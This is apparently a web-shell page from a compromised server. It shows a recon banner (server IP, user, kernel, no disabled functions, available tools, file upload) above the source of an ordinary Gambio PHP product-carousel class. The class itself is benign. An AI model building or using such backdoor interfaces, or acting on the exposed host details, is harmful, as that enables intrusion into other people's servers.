| Server IP : 85.158.181.41 / Your IP : 216.73.217.12 Web Server : Apache System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64 User : moncbefd ( 1024) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/moncbefd/www.moneta.at/system/classes/products/ |
Upload File : |
<?php
/* --------------------------------------------------------------
ProductsSwiperContentView.inc.php 2018-04-26
Gambio GmbH
http://www.gambio.de
Copyright (c) 2018 Gambio GmbH
Released under the GNU General Public License (Version 2)
[http://www.gnu.org/licenses/gpl-2.0.html]
--------------------------------------------------------------
*/
/**
* Class ProductsSwiperContentView
*/
class ProductsSwiperContentView extends ContentView
{
protected $swiperDefaults = [];
protected $customParameters = [];
protected $slidesPerViewArray = [
1 => 12,
2 => 6,
3 => 4,
4 => 3,
6 => 2,
12 => 1,
];
protected $internalDefaults = [
'engineAttrEnabled' => 'data-gambio-widget',
'engineAttrDisabled' => 'data-_gambio-widget',
];
public function __construct($customParameters)
{
parent::__construct();
$this->customParameters = $customParameters;
}
public function prepare_data()
{
$this->setDefaults();
$swiperOptions = array_merge($this->swiperDefaults, $this->customParameters);
// Get the aditional widgets as string.
$widgets = ($swiperOptions['hoverable']) ? 'product_hover' : '';
$swiperOptions['engineAttr'] = ($swiperOptions['startWidget']) ? $this->internalDefaults['engineAttrEnabled'] : $this->internalDefaults['engineAttrDisabled'];
$swiperOptions['widgets'] = ($widgets !== '') ? $swiperOptions['engineAttr'] . '="' . $widgets . '"' : '';
// Add the button classes
$swiperOptions['next'] = 'js-' . $swiperOptions['id'] . '-button-next';
$swiperOptions['prev'] = 'js-' . $swiperOptions['id'] . '-button-prev';
$swiperOptions['pagination'] = 'js-' . $swiperOptions['id'] . '-pagination';
// Generate an options string for the swiper
$swiperOptions['swiperOptions']['nextButton'] = '.' . $swiperOptions['next'];
$swiperOptions['swiperOptions']['prevButton'] = '.' . $swiperOptions['prev'];
$swiperOptions['swiperOptions']['pagination'] = '.' . $swiperOptions['pagination'];
$swiperOptions['configuration'] = '';
$swiperOptions['configuration'] .= ($swiperOptions['target']) ? 'data-swiper-target="' . $swiperOptions['target'] . '" ' : '';
$swiperOptions['configuration'] .= ($swiperOptions['controls']) ? 'data-swiper-controls="' . $swiperOptions['controls'] . '" ' : '';
$swiperOptions['configuration'] .= 'data-swiper-auto-off="'. $swiperOptions['autoOff'] .'" data-swiper-slider-options="' . str_replace('"', '"',
json_encode($swiperOptions['swiperOptions']))
. '" ';
// Add misc options
$swiperOptions['maxHeight'] = ($swiperOptions['maxHeight']) ? 'style="height: ' . $swiperOptions['maxHeight'] . ' px;"' : '';
// IMAGE SWIPER FALLBACK
$swiperOptions['popup'] = '';
$swiperOptions['images'] = array();
// Shorten product descriptions
foreach($swiperOptions['products'] AS $index => $product)
{
$swiperOptions['products'][$index]['showManufacturerImages'] = $this->customParameters['showManufacturerImages'];
$swiperOptions['products'][$index]['showProductRibbons'] = $this->customParameters['showProductRibbons'];
$swiperOptions['products'][$index]['DELIVERY'] = $product['PRODUCTS_SHIPPING_NAME'];
$swiperOptions['products'][$index]['SHORTENED_PRODUCTS_DESCRIPTION'] = $product['PRODUCTS_SHORT_DESCRIPTION'];
if(!empty($product['PRODUCTS_META_DESCRIPTION'])
&& preg_match('/^.{1,77}\b/s', $product['PRODUCTS_META_DESCRIPTION'], $shortened)
)
{
$extend = (strlen($product['PRODUCTS_META_DESCRIPTION']) > 77) ? '...' : '';
$swiperOptions['products'][$index]['SHORTENED_META_DESCRIPTION'] = str_replace('"', '"', $shortened[0])
. $extend;
}
else
{
$swiperOptions['products'][$index]['SHORTENED_META_DESCRIPTION'] = $product['PRODUCTS_NAME'];
}
mb_regex_encoding('UTF-8');
mb_regex_set_options('m');
$pattern = '^.{1,' . $swiperOptions['truncate'] . '}\b[^\s]+';
if(mb_ereg($pattern, html_entity_decode_wrapper($product['PRODUCTS_NAME']), $shortened))
{
$extend = (strlen($product['PRODUCTS_NAME'])
> $swiperOptions['truncate']) ? '...' : '';
$swiperOptions['products'][$index]['HEADLINE'] = htmlspecialchars_wrapper($shortened[0]) . $extend;
}
else
{
$swiperOptions['products'][$index]['HEADLINE'] = $product['PRODUCTS_NAME'];
}
$swiperOptions['products'][$index]['PRODUCTS_IMAGE'] = (!empty($product['PRODUCTS_IMAGE'])) ? $product['PRODUCTS_IMAGE'] : '';
$swiperOptions['products'][$index]['PRODUCTS_IMAGE_ALT'] = (!empty($product['PRODUCTS_IMAGE_ALT'])) ? $product['PRODUCTS_IMAGE_ALT'] : $product['PRODUCTS_NAME'];
$swiperOptions['products'][$index]['PRODUCTS_IMAGE_ALT'] = str_replace('"', '"',
$swiperOptions['products'][$index]['PRODUCTS_IMAGE_ALT']);
$swiperOptions['products'][$index]['INDEX'] = $swiperOptions['id'] . '-' . $product['PRODUCTS_ID'];
$swiperOptions['products'][$index]['PRODUCTS_VPE'] = $product['PRODUCTS_VPE'];
}
$swiperOptions['_TYPE'] = 'PRODUCTS';
$this->set_content_template($swiperOptions['template']);
$this->set_content_data('SWIPER_DATA', $swiperOptions);
}
protected function setDefaults()
{
$key = $GLOBALS['coo_template_control']->findSettingValueByName('gx-product-listing-col-xs');
$xsSlidesPerView = 2;
if(array_key_exists($key, $this->slidesPerViewArray))
{
$xsSlidesPerView = $this->slidesPerViewArray[$key];
}
$key = $GLOBALS['coo_template_control']->findSettingValueByName('gx-product-listing-col-sm');
$smSlidesPerView = 3;
if(array_key_exists($key, $this->slidesPerViewArray))
{
$smSlidesPerView = $this->slidesPerViewArray[$key];
}
$key = $GLOBALS['coo_template_control']->findSettingValueByName('gx-product-listing-col-md');
$mdSlidesPerView = 2;
if(array_key_exists($key, $this->slidesPerViewArray))
{
$mdSlidesPerView = $this->slidesPerViewArray[$key];
}
$this->swiperDefaults = [
'products' => [],
'truncate' => 80,
'id' => 'swiper_' . mt_rand(),
'template' => 'snippets/product_listing/product_listing_swiper.html',
'productTemplate' => 'templates/' . CURRENT_TEMPLATE . '/snippets/product_listing/product_grid_only.html',
'startWidget' => true,
'hoverable' => false,
'itemProperties' => '',
'target' => null,
'controls' => null,
'maxHeight' => null,
'autoOff' => 'true',
'swiperOptions' => [
'spaceBetween' => 0,
'loop' => true,
'slidesPerView' => 4,
'autoplay' => null,
'breakpoints' => [
[
'breakpoint' => 40,
'usePreviewBullets' => true,
'slidesPerView' => $xsSlidesPerView,
'centeredSlides' => true
],
[
'breakpoint' => 60,
'usePreviewBullets' => true,
'slidesPerView' => $smSlidesPerView
],
[
'breakpoint' => 80,
'usePreviewBullets' => true,
'slidesPerView' => $mdSlidesPerView
],
],
],
];
if(empty($this->customParameters['fullscreenPage']))
{
$key = $GLOBALS['coo_template_control']->findSettingValueByName('gx-product-listing-col-lg');
$slidesPerView = 4;
if(array_key_exists($key, $this->slidesPerViewArray))
{
$slidesPerView = $this->slidesPerViewArray[$key];
}
$this->swiperDefaults['swiperOptions']['breakpoints'][] = array(
'breakpoint' => 100,
'usePreviewBullets' => true,
'slidesPerView' => $slidesPerView
);
}
}
}